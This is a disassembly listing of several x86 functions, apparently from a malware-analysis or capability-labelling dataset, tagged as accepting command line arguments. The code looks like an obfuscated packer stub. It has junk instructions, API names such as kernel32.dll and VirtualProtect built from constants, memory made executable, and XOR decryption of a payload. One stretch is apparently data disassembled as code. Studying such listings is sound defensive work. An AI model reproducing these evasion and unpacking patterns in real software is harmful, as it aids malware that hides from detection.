Function at 0x404c04
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa4
mov dword [0x7da03d], esi
xchg dword [0x7da0c0], ebx
mov dword [0x7da038], 0x14991
mov eax, dword [0x7ec004]
xor edx, edx
div dword [0x7ebec8]
cmp edx, dword [0x7ebecc]
jne 0x402358
mov dword [0x7da0a9], edx
mov dword [0x7da048], esi
xchg dword [0x7da09b], ecx
xor eax, eax
mov al, byte [0x7ec2bc]
add dword [0x7ec004], eax
dec byte [0x7ebec0]
jmp 0x4023a1
and dword [0x7da0a1], esi
cmp ebx, dword [0x7da109]
jne 0x402372
mov dword [0x7da0f1], esi
mov dword [0x7da0cb], ebx
xchg dword [0x7da067], ecx
mov ebx, dword [esp + 8]
and dword [0x7da0a8], ecx
mov esi, dword [0x7da022]
add dword [0x7da064], ebx
xor eax, eax
mov al, byte [0x7ec2bc]
sub dword [0x7ec004], eax
inc byte [0x7ebec0]
cmp byte [0x7ebec0], 7
jbe 0x4023b1
mov byte [0x7ebec0], 0
mov dword [0x7da03d], esi
xchg dword [0x7da0c0], ebx
mov dword [0x7da038], 0x14991
mov eax, dword [0x7ec2bc]
add dword [0x7da025], eax
mov cl, byte [0x7ec004]
mov edx, dword [0x7da036]
xor byte [eax], cl
mov eax, dword [0x7ec2bc]
mov dl, byte [0x7ec004]
add byte [eax], dl
xor eax, eax
mov al, byte [0x7ebec0]
mov al, byte [eax + 0x7ebeb8]
mov byte [0x7ebec4], al
call fcn.00401490
cmp word [0x7da0f4], 0
jg 0x402417
mov byte [0x7da09d], 0xdf
jmp 0x402422
mov dword [esp - 0x24], ebx
mov byte [0x7da0d4], 0x8d
inc dword [0x7da102]
add dword [0x7da025], eax
add dword [0x7da0b9], ebx
mov eax, dword [0x7ec2bc]
inc eax
mov dword [0x7da020], eax
dec dword [0x7da020]
mov cl, byte [0x7ebec4]
mov ebx, dword [0x7da024]
dec eax
xor byte [eax], cl
add dword [0x7da02e], ebx
cmp byte [0x7ebec0], 0
jbe 0x402493
mov dword [0x7da0a9], edx
mov dword [0x7da048], esi
xchg dword [0x7da09b], ecx
xor eax, eax
mov al, byte [0x7ebec0]
mov al, byte [eax + 0x7ebeb7]
xor edx, edx
mov dl, byte [0x7ebec0]
add byte [edx + 0x7ebeb8], al
jmp 0x4024d3
mov dword [0x7da019], 0x11757
mov edx, 0x12
lea ecx, [0x7da06b]
and dword [ecx + 0x24], edi
mov dword [0x7da05e], esi
mov byte [0x7da055], 0x25
xor eax, eax
mov al, byte [0x7ebec0]
mov al, byte [eax + 0x7ebeb9]
xor edx, edx
mov dl, byte [0x7ebec0]
sub byte [edx + 0x7ebeb8], al
mov dword [0x7da0ab], edi
mov dword [0x7da0ff], edx
cmp di, word [0x7da100]
jne 0x4024f9
mov word [0x7da01e], 0x832a
mov dword [0x7da06e], edi
jmp 0x402505
mov dword [0x7da012], edx
mov dword [0x7da048], ebx
mov dword [0x7da104], 0x148f4
mov word [0x7da0c7], 0x43d7
jmp 0x402522
and dword [0x7da0a1], esi
cmp ebx, dword [0x7da109]
jne 0x40253c
mov dword [0x7da0f1], esi
mov dword [0x7da0cb], ebx
xchg dword [0x7da067], ecx
mov ebx, dword [esp + 8]
and dword [0x7da0a8], ecx
mov esi, dword [0x7da022]
add dword [0x7da064], ebx
mov esp, ebp
pop ebp
ret
inc byte [0x7da0cc]
mov dword [0x7da081], 0x11632
mov dword [0x7da0ac], edi
mov eax, ebp
add dword [0x7ebdfc], eax
mov esi, esp
add dword [0x7ebdf8], esi
mov esi, 8
add dword [0x7ebdf8], 4
mov dword [0x7da01f], 0x14ee6
mov dword [0x7da02a], edi
mov dword [esp - 4], edx
mov dword [0x7da081], ebx
call sub.kernel32.dll_GetCommandLineW
mov dword [0x7da0a9], edx
mov dword [0x7da048], esi
xchg dword [0x7da09b], ecx
call fcn.0040266c
mov dword [0x7da019], 0x11757
mov edx, 0x12
lea ecx, [0x7da06b]
and dword [ecx + 0x24], edi
mov dword [0x7da05e], esi
mov byte [0x7da055], 0x25
mov dword [0x7ebe9c], 1
and dword [0x7da0a1], esi
cmp ebx, dword [0x7da109]
jne 0x404cb5
mov dword [0x7da0f1], esi
mov dword [0x7da0cb], ebx
xchg dword [0x7da067], ecx
mov ebx, dword [esp + 8]
and dword [0x7da0a8], ecx
mov esi, dword [0x7da022]
add dword [0x7da064], ebx
call fcn.0040266c
mov word [0x7da044], 0x6011
mov dword [esp - 0x12], esi
mov dword [0x7da09a], ebx
inc dword [0x7da0b6]
call fcn.00404d70
call fcn.00404fc8
mov byte [0x7da0a7], 0x53
mov dword [0x7da094], edi
push eax
call fcn.004025e4
cmp word [0x7da03a], 0
jge 0x404d36
mov ebx, 0x17
mov dword [0x7da01c], edx
mov dword [esp - 0x1c], edi
mov dword [0x7da06c], ebx
mov dword [0x7da03c], eax
call fcn.00403bdc
mov dword [0x7da0a3], 0x13cae
cmp dword [0x7ebea0], 0
jne 0x7d9188
mov dword [0x7da04f], ebx
mov dword [0x7da05f], edi
xchg dword [0x7da10a], eax
mov byte [0x7da039], 0xe0
sub dword [0x7da09a], ecx
ret
push ebp
mov ebp, esp
add esp, 0xffffffac
call fcn.00401490
cmp word [0x7da0f4], 0
jg 0x4050da
mov byte [0x7da09d], 0xdf
jmp 0x4050e5
mov dword [esp - 0x24], ebx
mov byte [0x7da0d4], 0x8d
inc dword [0x7da102]
add dword [0x7da025], eax
add dword [0x7da0b9], ebx
and dword [0x7da047], ebx
mov dword [0x7da066], edi
test ebx, ebx
je 0x405122
mov byte [0x7da012], 0xde
mov dword [0x7da105], edx
mov dword [0x7da08a], esi
mov dword [0x7da07d], ebx
jmp 0x405138
xchg dword [0x7da0a8], esi
call fcn.00404fb8
call fcn.00401490
jmp 0x405138
mov dword [0x7da01f], 0x14ee6
mov dword [0x7da02a], edi
mov dword [esp - 4], edx
mov dword [0x7da081], ebx
call fcn.004026ac
test al, al
jne 0x405169
mov word [0x7ebe8c], 0xa872
jmp 0x405243
mov byte [0x7da0a7], 0x53
mov dword [0x7da094], edi
push eax
call fcn.004025e4
cmp word [0x7da03a], 0
jge 0x4051a6
mov ebx, 0x17
mov dword [0x7da01c], edx
mov dword [esp - 0x1c], edi
mov dword [0x7da06c], ebx
mov dword [0x7da03c], eax
call fcn.00403bdc
mov dword [0x7da0a3], 0x13cae
mov dword [0x7ebe6c], 0x6c6c642e
mov word [0x7ebe8c], 0xe875
mov dword [0x7ebe68], 0x32336c65
mov dword [0x7ebe64], 0x6e72656b
add dword [0x7da05a], ecx
mov edx, dword [esp + 4]
mov ebx, edi
xor eax, eax
push 0
push 0
push 0x7ebe64
call sub.kernel32.dll_LoadLibraryExA
xor ecx, dword [esp + 4]
mov dword [0x7ebe94], eax
mov byte [0x7da0a7], 0x53
mov dword [0x7da094], edi
push eax
call fcn.004025e4
cmp word [0x7da03a], 0
jge 0x405239
mov ebx, 0x17
mov dword [0x7da01c], edx
mov dword [esp - 0x1c], edi
mov dword [0x7da06c], ebx
mov dword [0x7da03c], eax
call fcn.00403bdc
mov dword [0x7da0a3], 0x13cae
cmp dword [0x7ebea4], 0
je 0x40526c
mov dword [0x7da03d], esi
xchg dword [0x7da0c0], ebx
mov dword [0x7da038], 0x14991
mov esp, ebp
pop ebp
ret
push ebp
mov ebp, esp
add esp, 0xffffff70
xchg dword [0x7da104], ecx
mov dword [0x7da0ba], ebx
mov eax, dword [0x7da079]
mov dword [0x7da025], esi
mov dword [0x7ec2c0], 0x7d917c
cmp word [0x7ebe8c], 0xe875
jne 0x7d8218
mov edi, 0x61ac8e8a
xor eax, eax
mov eax, 0x65742a88
add edi, 0xc2ddbd
mov dword [0x7da018], 0
mov word [0x7ebe0c], 0x7463
add eax, 0x44ea
mov dword [0x7ebe08], eax
mov dword [0x7ebe28], edi
mov dword [0x7da03d], esi
xchg dword [0x7da0c0], ebx
mov dword [0x7da038], 0x14991
mov edi, 0x6c416c61
xor esi, esi
mov dword [0x7ebe2c], edi
xor ebx, ebx
add esi, 0x506c6175
mov ecx, 0x54ea7a11
sub edi, eax
mov dword [0x7ebe04], esi
mov ebx, dword [0x7ebe94]
add dword [0x7ec004], ebx
add ecx, 0x1f87ef45
mov dword [0x7ebe00], ecx
mov dword [0x7ebe30], 0x636f6c
add dword [0x7da05a], ecx
mov edx, dword [esp + 4]
mov ebx, edi
mov edx, 0x7ebe28
xor ecx, ecx
mov eax, dword [0x7ec004]
call fcn.007d7bdc
mov dword [0x7ec00c], eax
call fcn.00401490
cmp word [0x7da0f4], 0
jg 0x405370
mov byte [0x7da09d], 0xdf
jmp 0x40537b
mov dword [esp - 0x24], ebx
mov byte [0x7da0d4], 0x8d
inc dword [0x7da102]
add dword [0x7da025], eax
add dword [0x7da0b9], ebx
mov dword [0x7ec2bc], 0x7d7c70
mov edx, dword [0x7ebf34]
mov edx, dword [edx]
add edx, 0x40
mov eax, 0x40
call fcn.004025f4
mov dword [0x7ec2b4], eax
cmp dword [0x7ec2b4], 0
je 0x4056bf
mov byte [0x7da0a7], 0x53
mov dword [0x7da094], edi
push eax
call fcn.004025e4
cmp word [0x7da03a], 0
jge 0x4053fb
mov ebx, 0x17
mov dword [0x7da01c], edx
mov dword [esp - 0x1c], edi
mov dword [0x7da06c], ebx
mov dword [0x7da03c], eax
call fcn.00403bdc
mov dword [0x7da0a3], 0x13cae
mov edx, dword [0x7ebf30]
mov edx, dword [edx]
add edx, 0x40
mov eax, 0x40
call fcn.004025f4
mov dword [0x7ec2b8], eax
cmp dword [0x7ec2b8], 0
je 0x4056bf
mov edx, 0x7ebe00
xor ecx, ecx
mov eax, dword [0x7ec004]
call fcn.007d7bdc
mov dword [0x7ec008], eax
add dword [0x7da05a], ecx
mov edx, dword [esp + 4]
mov ebx, edi
push 0x7ec2ac
push 0x40
mov eax, dword [0x7ec2c0]
sub eax, dword [0x7ec2bc]
push eax
mov eax, dword [0x7ec2bc]
push eax
call dword [0x7ec008]
mov dword [0x7ec004], 4
xor eax, eax
mov dword [0x7ec2b0], eax
mov dword [0x7da03d], esi
xchg dword [0x7da0c0], ebx
mov dword [0x7da038], 0x14991
add dword [0x7ec2bc], 8
mov eax, dword [0x7ec2bc]
cmp eax, dword [0x7ec2c0]
je 0x405582
push 0
push esi
call fcn.004025e4
mov eax, dword [0x7ec2b0]
call fcn.00404a0c
test al, al
je 0x405518
add dword [0x7ec2bc], 4
add dword [0x7ec2b0], 4
jmp 0x405571
inc byte [0x7da0cc]
mov dword [0x7da081], 0x11632
mov dword [0x7da0ac], edi
push 0x405544
mov ecx, eax
cmp dword [0x7ebea8], 0
jne 0x402300
add ecx, eax
mov dword [0x7da013], eax
mov dword [0x7da0a5], edi
mov word [0x7da092], 0xa52c
mov dword [0x7da107], esi
inc dword [0x7ec2bc]
inc dword [0x7ec004]
inc dword [0x7ec2b0]
mov eax, dword [0x7ec2bc]
cmp eax, dword [0x7ec2c0]
jne 0x4054ac
call fcn.00401490
cmp word [0x7da0f4], 0
jg 0x40559a
mov byte [0x7da09d], 0xdf
jmp 0x4055a5
mov dword [esp - 0x24], ebx
mov byte [0x7da0d4], 0x8d
inc dword [0x7da102]
add dword [0x7da025], eax
add dword [0x7da0b9], ebx
mov eax, dword [0x7ec2b4]
push 0x4055d2
mov edi, eax
cmp dword [0x7ebeac], 0
je 0x7d82e4
mov dword [eax], edx
and dword [0x7da047], ebx
mov dword [0x7da066], edi
test ebx, ebx
je 0x4055fd
mov byte [0x7da012], 0xde
mov dword [0x7da105], edx
mov dword [0x7da08a], esi
mov dword [0x7da07d], ebx
jmp 0x40560d
xchg dword [0x7da0a8], esi
call fcn.00404fb8
call fcn.00401490
mov eax, dword [0x7ec2b8]
push eax
mov eax, dword [0x7ec2b4]
push eax
call fcn.007d8af4
cmp dword [0x7ec2b8], 0
je 0x4056bf
mov dword [0x7da049], edx
mov dword [0x7da04a], edi
mov dword [0x7da02e], eax
mov byte [0x7da0a7], 0x53
mov dword [0x7da094], edi
push eax
call fcn.004025e4
cmp word [0x7da03a], 0
jge 0x40567a
mov ebx, 0x17
mov dword [0x7da01c], edx
mov dword [esp - 0x1c], edi
mov dword [0x7da06c], ebx
mov dword [0x7da03c], eax
call fcn.00403bdc
mov dword [0x7da0a3], 0x13cae
push dword [0x7da008]
mov eax, dword [esp + 4]
push dword [0x7ec2b8]
mov ecx, dword [esp + 8]
push 0
cmp dword [0x7ebeb0], 0
jne 0x7d8d1c
xchg dword [0x7da104], ecx
mov dword [0x7da0ba], ebx
mov eax, dword [0x7da079]
mov dword [0x7da025], esi
mov esp, ebp
pop ebp
ret
xor ecx, dword [esi]
cmp byte [esi + 0x66eb007e], 0x5c
sal byte [ebx + 2], cl
xchg ecx, eax
pop ebp
lodsb al, byte [esi]
sbb al, 0x21
arpl word [edi - 0x4f], bx
call 0x90477eb1
dec esp
inc esp
and eax, 0x26f44b46
or dword [edx], eax
clc
ret 0x7e
mov ch, 0x9d
les eax, [eax]
fadd dword [ebp + 0x1df25d17]
mov ebx, 0x7da03d
je 0x7d82eb
pop ebp
sbb eax, 0x7da03dbb
add byte [esi + esi*8 - 0x40], dh
mov al, byte [0xf3a9007d]
cmp byte [eax - 0x6f4fff83], ah
shl byte [eax - 0xc56ff83], 0x38
mov al, byte [0x90b0007d]
and dword [ecx - 0x5b], ebx
popfd
invalid
mov dword [0x72248ce0], eax
std
or cl, byte [esi + edi*4 - 0x5625ff82]
pop ds
nop
mov esi, 0xf87b007e
xor eax, 0xce1807ea
mov dl, 0xe7
ret 0x7da0
push ebp
mov ebp, esp
add esp, 0xffffffb8
push 0
push esi
call fcn.004025e4
call fcn.00403bdc
mov dword [0x7da01f], 0x14ee6
mov dword [0x7da02a], edi
mov dword [esp - 4], edx
mov dword [0x7da081], ebx
call fcn.004056c4
and dword [0x7da0a1], esi
cmp ebx, dword [0x7da109]
jne 0x7d91d4
mov dword [0x7da0f1], esi
mov dword [0x7da0cb], ebx
xchg dword [0x7da067], ecx
mov ebx, dword [esp + 8]
and dword [0x7da0a8], ecx
mov esi, dword [0x7da022]
add dword [0x7da064], ebx
call fcn.004066d4
mov dword [0x7da019], 0x11757
mov edx, 0x12
lea ecx, [0x7da06b]
and dword [ecx + 0x24], edi
mov dword [0x7da05e], esi
mov byte [0x7da055], 0x25
call fcn.00403bdc
mov word [0x7da044], 0x6011
mov dword [esp - 0x12], esi
mov dword [0x7da09a], ebx
inc dword [0x7da0b6]
cmp dword [0x7ebeb4], 0
je 0x4050bc
and dword [0x7da047], ebx
mov dword [0x7da066], edi
test ebx, ebx
je 0x7d9270
mov byte [0x7da012], 0xde
mov dword [0x7da105], edx
mov dword [0x7da08a], esi
mov dword [0x7da07d], ebx
jmp 0x7d9280
xchg dword [0x7da0a8], esi
call fcn.00404fb8
call fcn.00401490
mov dword [0x7da03d], section.CODE
mov esp, ebp
pop ebp
ret